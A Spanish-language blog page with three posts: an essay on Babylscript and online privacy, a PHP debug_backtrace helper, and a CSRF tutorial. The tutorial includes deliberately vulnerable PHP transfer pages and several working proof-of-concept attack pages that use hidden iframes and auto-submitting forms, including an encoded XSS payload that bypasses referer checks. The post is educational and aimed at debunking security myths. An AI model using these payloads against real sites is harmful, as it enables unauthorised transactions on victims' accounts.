2012/07/29

Privacidad y buenas intenciones


BABYLSCRIPT


Cuando me dispuse a criticar la iniciativa de traducir el lenguaje de programación javascript a una docena de idiomas [babylscript], consulté a diversas personas intentando traer agua a mi molino o al menos quitar las piedras y me encontré con que el agua vino con piedras y como no soy un experto en lingüistica, sociología, sicología ni aprendizaje y sólo tengo mi experiencia propia en varios lenguajes y paradigmas de programación, no puedo hacer una Gran Teoría. [Argerich][docentes][embed32]

Mi idea era decir algo asi como "Si una persona tiene dificultad en comprender un lenguaje de programación, no pienso que sea por los símbolos del lenguaje, aunque pueda ayudar, sin duda es más sencillo para alguien que usa un alfabeto latino que para el resto, pero aún así, la dificultad principal está en comprender la programación.", que es algo que a mi me parece razonable pero no puedo sustentar mediante opiniones expertas.

Esto me fuerza a ir a las piñas sin pensar mucho, al grano. Cito: "Babylscript allows people to write programs in a mix of different languages. A programmer can take a library written in French, mix it with their own program written in Spanish, and use code snippets they found on a Chinese help forum"


Asi que ahora no sólo hay que comprender un lenguaje, sino... ¡doce! ¿Cómo hago para saber que 
 
если
إذا
যদ্যপি
如果
अगर
もし
만약
dacă
wenn
se
si
if

son todo lo mismo? Yo entiendo sólo los tres últimos, si el código viene en coreano, no tengo ninguna manera de saber que hace, es como si me dieran código objeto, ya compilado. Esto no sirve para integrar, sólo para fragmentar. A medida que las comunidades crezcan, comenzarán a separarse. No quiero ponerme bíblico, pero es realmente Babel, aunque el castigo se recibe al poner el cimiento, no al alcanzar el cielo.

Lo que el párrafo citado dice es "usá código que suponés que hace lo que dice la documentación", pero ¿en qué idioma está esa documentación?, tendríamos que establecer un idioma común para la documentación, para poder compartir nuestros componentes.


Aunque a muchos no les guste, el idioma inglés es el idioma común al menos de la tecnología. ¿Es eso justo y democrático? Pues a aprender chino.

Sin embargo, no se puede negar que esta iniciativa tiene algo bueno, se acabó eval().


Pero...


...supongo que a esta altura cualquiera se preguntará que tiene que ver que unos pobres infelices reescriban javascript en un montón de idiomas con el título "privacidad". ¿Por que me estoy ensañando con gente bien intencionada con la cual ni siquiera me he contactado (ni lo voy a hacer) para advertirles del peligro que implican para la humanidad programadora?

Caso dos


En el año 1930, en Holanda se hizo un censo y uno de los datos era religión. La intención de los encuestadores era poder dar entierro de acuerdo a sus creencias a quien muriera careciendo de parientes [censo]. Cuando en el año 1940 los alemanes invadieron, se apoderaron de este censo y lo usaron para sus fines. Vemos aqui de modo mucho más concreto y "definitivo" como las buenas intenciones pueden traer consecuencias imprevistas y desagradables.

Caso tres: Amo de tus silencios, esclavo de tus twits


Para este caso, del cual disto tanto como de los otros ser descubridor, no voy a citar fuentes ya que sobran. 

Cuando al hablar decís algo, ya es tarde, lo has dicho, quienes te escucharon lo tienen en sus mentes, quizas se olviden, probablemente. De todos modos, la gente tergiversa sus recuerdos, no es tan terrible. Uno debe cuidar lo que dice, pero no podemos estar todo el día tan pendientes, hay que vivir.

Cuando escribís algo en papel (sin computadora de por medio), aunque es más fidedigno, ese papel y sus fotocopias se pueden perder, deteriorar, son difíciles de hallar y de relacionar. Hay que prestar un poquito más de atención, no firmar cheques en blanco. De todos modos, el escribir en papel permite tomarse su tiempo, reflexionar sobre lo que se va a decir.

Escribir en la computadora es parecido, salvo que no tenés nunca certeza de que no haya un bichito tomando nota o que el editor que usas no deje temporarios que luego puedan recuperarse.

Cuando das el salto final y ponés tu información en Internet, la que nunca olvida, perdés completamente el control sobre ella y además puede ser increiblemente fácil de encontrar.

Cuando ponés información personal en tu blog, facebook, twitter, le estás dando a la posteridad la capacidad de conocerte, lo cual en términos filosóficos y sensibles podría ser bueno, lograste una cierta trascendencia, salvo que, como dijo Syndrome: "Everyone can be super! And when everyone's super... [chuckles evilly] no one will be." [Syndrome]

No sólo la posteridad te conoce, tambien te conoce la banda de criminales informáticos que te hace un spear phishing, la de criminales comunes que te vacía la casa cuando tu GeoTrackMe.com dice que estás ausente.

No estoy cuestionando la actividad profesional o académica, sería incoherente de mi parte estar escribiendo esto. Se hace una evaluación de riesgo, que ganás y que perdés al poner tu cv en linkedin, al opinar en un foro profesional. En esos casos obtener trabajo en el futuro, compartir información o enseñar algo, que es la mejor manera de aprender.

Cuando dás tu ubicación, tus gustos y relaciones personales, supongo que lo hacés por relaciones personales, para alimentar tu ego, para no ser menos que el resto. Por mi está ok, pero ¿hiciste una evaluación de riesgo?

Quien no me crea, que use Internet contra si mismo, a ver que resultados consigue.


Referencias:

  • [babylscript] http://www.babylscript.com/
  • [Docentes - mi pregunta] "Se podría afirmar que es más fácil cambiar de lenguaje (Haskell <-> Erlang, C <-> Pascal, Asm Pic <-> Asm 360, Java <-> C++) que de paradigma (bajo nivel, estructurado, objetos, funcional)?"

  • [embeb32 - mi pregunta] "¿Se podría afirmar que quien aprende a programar en assembler de cualquier arquitectura tiene menos dificultad en cambiar de arquitectura que en cambiar de paradigma? Por ejemplo pasar de Asm 360 a Asm Pic vs. pasar de assembler a programación funcional." https://groups.google.com/forum/?hl=es#!topic/embebidos32/ckFwftHsd5U
  • [Argerich - correspondencia privada] "En base a mi filosofia de que los paradigmas de programacion en realidad no existen y son solo una excusa para vender libros, cursos y demas cuestiones diria que no. Desde la epoca del Fortran que programar es meter una linea de codigo debajo de otra, es el area de la computacion mas estancada por lejos."
  • [censo holanda] http://en.wikipedia.org/wiki/History_of_the_Netherlands_%281939%E2%80%931945%29#High_Jewish_death_toll
  • [censo] Lamentablemente de esto no tengo la cita precisa, pués me parece que lo leí hace mucho en algún diario, pero no recuerdo bien.  Me contó alguien que lo vió en un documental sobre Internet de la BBC, emitido en Film&Arts, ya lo voy a encontrar.
  • [Syndrome] http://www.imdb.com/title/tt0317705/quotes

2012/07/12

Wrapper para php debug_backtrace()

Cada tanto me encuentro con la necesidad de debuggear symfony y con sus bellos e interminables objetos var_dump() no es opción, asi que cada tanto reinvento la rueda y confecciono algo como esta clase. Lo comparto con quien quiera y con mi mismo.

Lo que hace es al encontrar 
  • objetos poner la clase
  • arrays poner la longitud
y otras cosas que ahora no recuerdo, a medida que la vuelva a usar, la mejoraré
<?php
/**
 * back_trace() prettifier
 * @author Carlos Pantelides
 * @license use and give credit where credit is due
 * @date 2006-2012
 * @todo add css
 */
class DebugUtil {
  static public function backTrace($drop=0) {
    $knownObjects = array();
    $objectCount = 0;
    $delim="\n";
    $bt = debug_backtrace();
    for ($i=0; $i<=$drop;$i++) {
      unset($bt[$i]);
    }
   
    foreach ($bt as $key=>$level) {
      if (isset($level['object'])) {
        unset($bt[$key]['object']);
      }
      foreach($level['args'] as $subkey =>$arg) {
        if (is_object($arg)) {
          $objectId=spl_object_hash($arg);
          if (! array_key_exists($objectId,$knownObjects)) {
            $knownObjects[$objectId]=$objectCount;
            $objectCount++;           
          }
          $id = sprintf('%03d',$knownObjects[$objectId]);
          @$bt[$key]['fixedArgs'].='OBJECT('.get_class($arg)."):$id, ";
        } else if (is_array($arg)) {
          @$bt[$key]['fixedArgs'].='ARRAY('. sizeof($arg).'), ';
        } else if (is_resource($arg)) {
          @$bt[$key]['fixedArgs'].='RESOURCE, ';
        } else if (is_null($arg)) {
          @$bt[$key]['fixedArgs'].='NULL, ';
        } else if (is_string($arg)) {
          @$bt[$key]['fixedArgs'].="'$arg', ";
        } else {
          $bt[$key]['fixedArgs'].="$arg, ";
        }
      }
      @$bt[$key]['fixedArgs']=substr($bt[$key]['fixedArgs'],0,-2);
    }
    $result='';
    foreach ($bt as $key=>$level) {
      $result .= $level['class'] . '::' . $level['function'] .
      '(' . $level['fixedArgs'] .') @' . $level['file'] . ':'.
      $level['line'].$delim;
    }
    return $result;
  }
 
  /**
   * Symfony 1.4
   * @param mixed $var
   * 
   */
  public static function vardumpLog($var) {
      $logger = sfContext::getInstance()->getLogger();
      $logger->info(
print_r($var,1));     
  }
}

2012/07/02

Layer 8 CSRF protection

(partial english version below)

En [1] dije que no iba a explicar lo que era CSRF y me arrepiento, pues a raiz de los diálogos offline generados, he descubierto que el grado de incomprensión del ataque es mayor al que suponía. Pero es tan solo el resultado de la falta de conocimiento técnico general más que del ataque en si.


Es verdad que para la mayor parte de las actividades informáticas no hace falta un conocimiento profundo. No estoy diciendo que yo tenga un conocimiento profundo de nada, pero me asusta cuando entiendo mejor que quien supongo entiende mejor que yo.


Esto me da una tenue excusa para relatar una experiencia en el reciente Agile Open Software Libre [2]. En el marco de una sesión cuya convocatoria por parte de Ezequiel Maraschio era algo cercano a "Como se organiza cada uno en sus actividades personales", casi, si no totalmente offtopic, mencioné que me resultaba mucho más efectivo para comprender algo desconectarme de google y sólo utilizar man, manuales y libros. Comenté como esta manera la había descubierto estudiando threads en C para la facultad e intentaba usarla en toda ocasión.


Una persona, Victor creo recordar, dijo que ese modo era más lento y yo lleno de gozo le respondí que era exactamente el mismo argumento que se utiliza contra el testeo durante el desarrollo en general y TDD en particular.


Antes que nadie diga nada, convenimos en que para trouble shooting google si es útil y obviamente para encontrar los manuales.

A lo que voy es que para RAD el cortar y pegar código ajeno puede ser muy efectivo, pero luego el collage/palimpsesto traidor resultante se nos vuelve en contra y entramos en la carrera de babosas. Hay que comprender.

Volviendo a CSRF, que es de lo que veniamos hablando, he escuchado personas diciendo a) "este ataque no es posible si hay https" o b) "tenemos un wizard con un workflow en el cual controlamos que se hayan hecho los pasos anteriores".

Ya que no voy a explicar CSRF, al menos voy a desmitificar:

a) Si decimos que con CSRF "forzamos" al navegador del usuario a hacer llamadas a un servicio utilizando la sesión autenticada ya establecida, implica el canal seguro ya establecido, ¿no? Para chocar con la dura realidad, me he tomado el trabajo de probarlo y ha funcionado como seda.

Puedo afirmar tanto teórica como empíricamente que https no protege de CSRF.

b) Si miramos el flujo de parámetros del workflow y no hay un secretito, no hay clippo, ni perrito, ni mago barbudo que valga, el ataque es exitoso. Es verdad que es más complicado, según se ve en la POC wizard, más abajo.

De paso entrego el código que mezquinamente negué antes en [1].

Si se consultara el referer, para estas POCs el ataque fallaría. Pero esto es porque estamos viendo la vulnerabilidad de modo aislado, que es la mejor manera de comprenderla. Si el sitio además tiene XSS [3][4], depende de como se controle el referer, quizas tambien se pueda tener éxito, como en POC XSS+CSRF vs Referer

Partial english version



During an Agile Open event[2], I said that using man, manuals and books is a better way to understand than googling. A guy told me that that path is slower and I answered that that is the same argument against testing and TDD. Nevertheless, google is the best trouble shooter.

Later, talking with some people about [1], I've found out that there are at least to myths:

a) "https protects against CSRF". Theory does not say so, and if you configure a https server and use any of the given examples, you will check by yourself what the truth is.

b) "We have a wizard that checks that you did all the steps". If you examine the workflow's parameters and you can not find any little dirty secret, CSRF wins.

Checking the referer is a mitigation against CSRF, but if the site happens to be vulnerable to XSS[3], [4], you are in the owen again.


POC Https csrfed

Acá no hay nada que POCear, sólo hay que configurar un servidor con https y ajustar cualquiera de los ejemplos.

Sitio vulnerable

 

[../good/login.php]

<?php

session_start();

if (isset($_SESSION['auth']) || isset($_REQUEST['clave']) && $_REQUEST['clave'] == "1234") {
    $_SESSION['auth'] = 1;
    if (isset($_GET['paso']) ) {
        # XSS entry point
        $paso = $_GET['paso'];
    } else {
        $paso = 0;
    }

?>
<h3>Transferencia sin control de referer</h3>
<form method="post" action="transferencia.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="<?php print $paso; ?>"</input>

</form>

<br/>
<h3>Transferencia con control de referer</h3>
<form method="post" action="transferencia_referer.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="<?php print $paso; ?>"</input>
</form>
<br/>

<h3>Transferencia con wizard</h3>
<form method="post" action="transferencia_confirmacion.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="1"</input>
</form>

<?php

    } else {
?>
<form method="post">
<input name="clave">clave</input>
<input type="submit" value="entrar sistema"</input>

</form>
<?php
}
if (isset($_REQUEST['clave']) && $_REQUEST['clave'] != "1234") {
   print("mal clave");

}

[../good/transferencia_confirmacion.php]

<?php

session_start();

if (isset($_SESSION['auth'])) {
  print "autenticado<br>";
  if (isset($_POST['paso'])) {
    if ($_POST['paso']==1) {
      print "usted pretende transferir de ".$_POST['origen']." a ".$_POST['destino'];
      print " $". $_POST['valor']. "<br/>";
?>
      <form method="POST">
         <input name="origen" type="hidden" value="<?php print $_POST['origen']; ?>"/><br/>
         <input name="destino" type="hidden" value="<?php print  $_POST['destino']; ?>"/><br/>
         <input name="valor" type="hidden" value="<?php print $_POST['valor']; ?>"/><br/>
         <input name="detalle" type="hidden" value="<?php print $_POST['detalle']; ?>"/><br/>
         <input type="submit" value="confirmar"</input>
         <input name="paso" type="hidden" value="2"</input>
     </form>

<?php
        } else if ($_POST['paso']==2) {
            print "transferencia de " . $_POST['origen'] . " a " . $_POST['destino'];
            print " $". $_POST['valor']. "<br/>";

        } else {
            print "Error de protocolo 2";
        }
    } else {
        print "Error de protocolo 1";
    }
} else {
    print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];

[../good/transferencia.php]

<?php

session_start();

if (isset($_SESSION['auth'])) {
    print "autenticado<br>";
    if (isset($_POST['origen'])) {
        print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'];
        print " $". $_POST['valor']. "<br/>";
        print "canal via post: " . $_POST['detalle'];
    } else {
        print "transfiriendo de " . $_GET['origen'] . " a " . $_GET['destino'];
        print " $". $_GET['valor']. "<br/>";
        print "canal via get: " . $_GET['detalle'];
    }
} else {
    print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];


[../good/transferencia_referer.php]

<?php

session_start();

if (isset($_SESSION['auth'])) {
    print "autenticado<br/>";
    if (isset($_SERVER['HTTP_REFERER']) 
       && strstr($_SERVER['HTTP_REFERER'],"http://csrf.good.com:60001/login.php" ) ) {
         print "referido<br/>";
         if (isset($_POST['origen'])) {
            print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'];
            print " $". $_POST['valor']. "<br/>";
            print "canal via post: " . $_POST['detalle'];
         } else {
            print "transfiriendo de " . $_GET['origen'] . " a " . $_GET['destino'];
            print " $". $_GET['valor']. "<br/>";
            print "canal via get: " . $_GET['detalle'];
         }
     } else {
         print "tomatelas, mal referer";
     }
} else {
    print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];


POC indiscreto

   [linda_mascota_01_indiscreta.html]

<html>
<head><title>Mascota inofensiva en evil.com</title>
</head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe height="0" width="0" src="http://csrf.good.com:60001/transferencia.php?origen=cuenta_cliente&destino=cuenta_desconocida&va
lor=1000pe&detalle=GET"
</iframe>
<iframe name=ifr width="0" height="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

POC discreto


[linda_mascota_02_discreta.html]

<html>
<head><title>Mascota inofensiva en evil.com</title>
</head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

POC Referer failure

[linda_mascota_03_fail_referer.html]

<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia_referer.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

POC XSS+CSRF vs Referer


[linda_mascota_04_xss_referer.html]

<html>
<head><title>Mascota inofensiva en evil.com</title>
</head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0" src="http://csrf.good.com:60001/login.php?paso=1%22%3E%3C/input%3E%3C/form%3E%3Cscript%3Edocument.write%28%27%3Cdiv+style%3D%22display%3Anone%22%3E%3Cform+target%3Difr+id%3Dcsrf+method%3Dpost+action%3D%22http%3A//csrf.good.com%3A60001/transferencia_referer.php%22%3E%3Cinput+name%3D%22origen%22+value%3D%22cuenta_cliente%22+/%3E%3Cinput+name%3D%22destino%22+value%3D%22cuenta_destino%22+/%3E%3Cinput+name%3D%22valor%22+value%3D%2250pe%22+/%3E%3Cinput+name%3D%22detalle%22+value%3D%22POST+invisible%22+/%3E%3C/form%3E%3C/div%3E%27%29%3Bdocument.getElementById%28%22csrf%22%29.submit%28%29%3B%3C/script%3E%3Cinput+type%3D%22hidden%22%3E"></iframe>
</body>
</html>






POC Wizard



[linda_mascota_05_pasos.html]

<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />

<iframe name=ifr_1 height="0" width="0"></iframe>
<iframe name=ifr_2 height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr_1 id=csrf_1 method=post action="http://csrf.good.com:60001/transferencia_confirmacion.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="paso" value="1" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>');
document.write(
'<div style="display:none">' +
'<form target=ifr_2 id=csrf_2 method=post action="http://csrf.good.com:60001/transferencia_confirmacion.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="paso" value="2" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>');

document.getElementById("csrf_1").submit()
console.log("primer paso");
setTimeout( function() {
    document.getElementById("csrf_2").submit();
    console.log("segundo paso");
}, 10000);
</script>


que te diviertas!!!!
  


[1] http://seguridad-agile.blogspot.com.ar/2012/06/client-side-csrf-protection.html

[2] https://sites.google.com/site/comunidadagiles/agile-open-tour/agile-open-bs-as-software-libre-2012

[3] https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

[4] http://en.wikipedia.org/wiki/Cross-site_scripting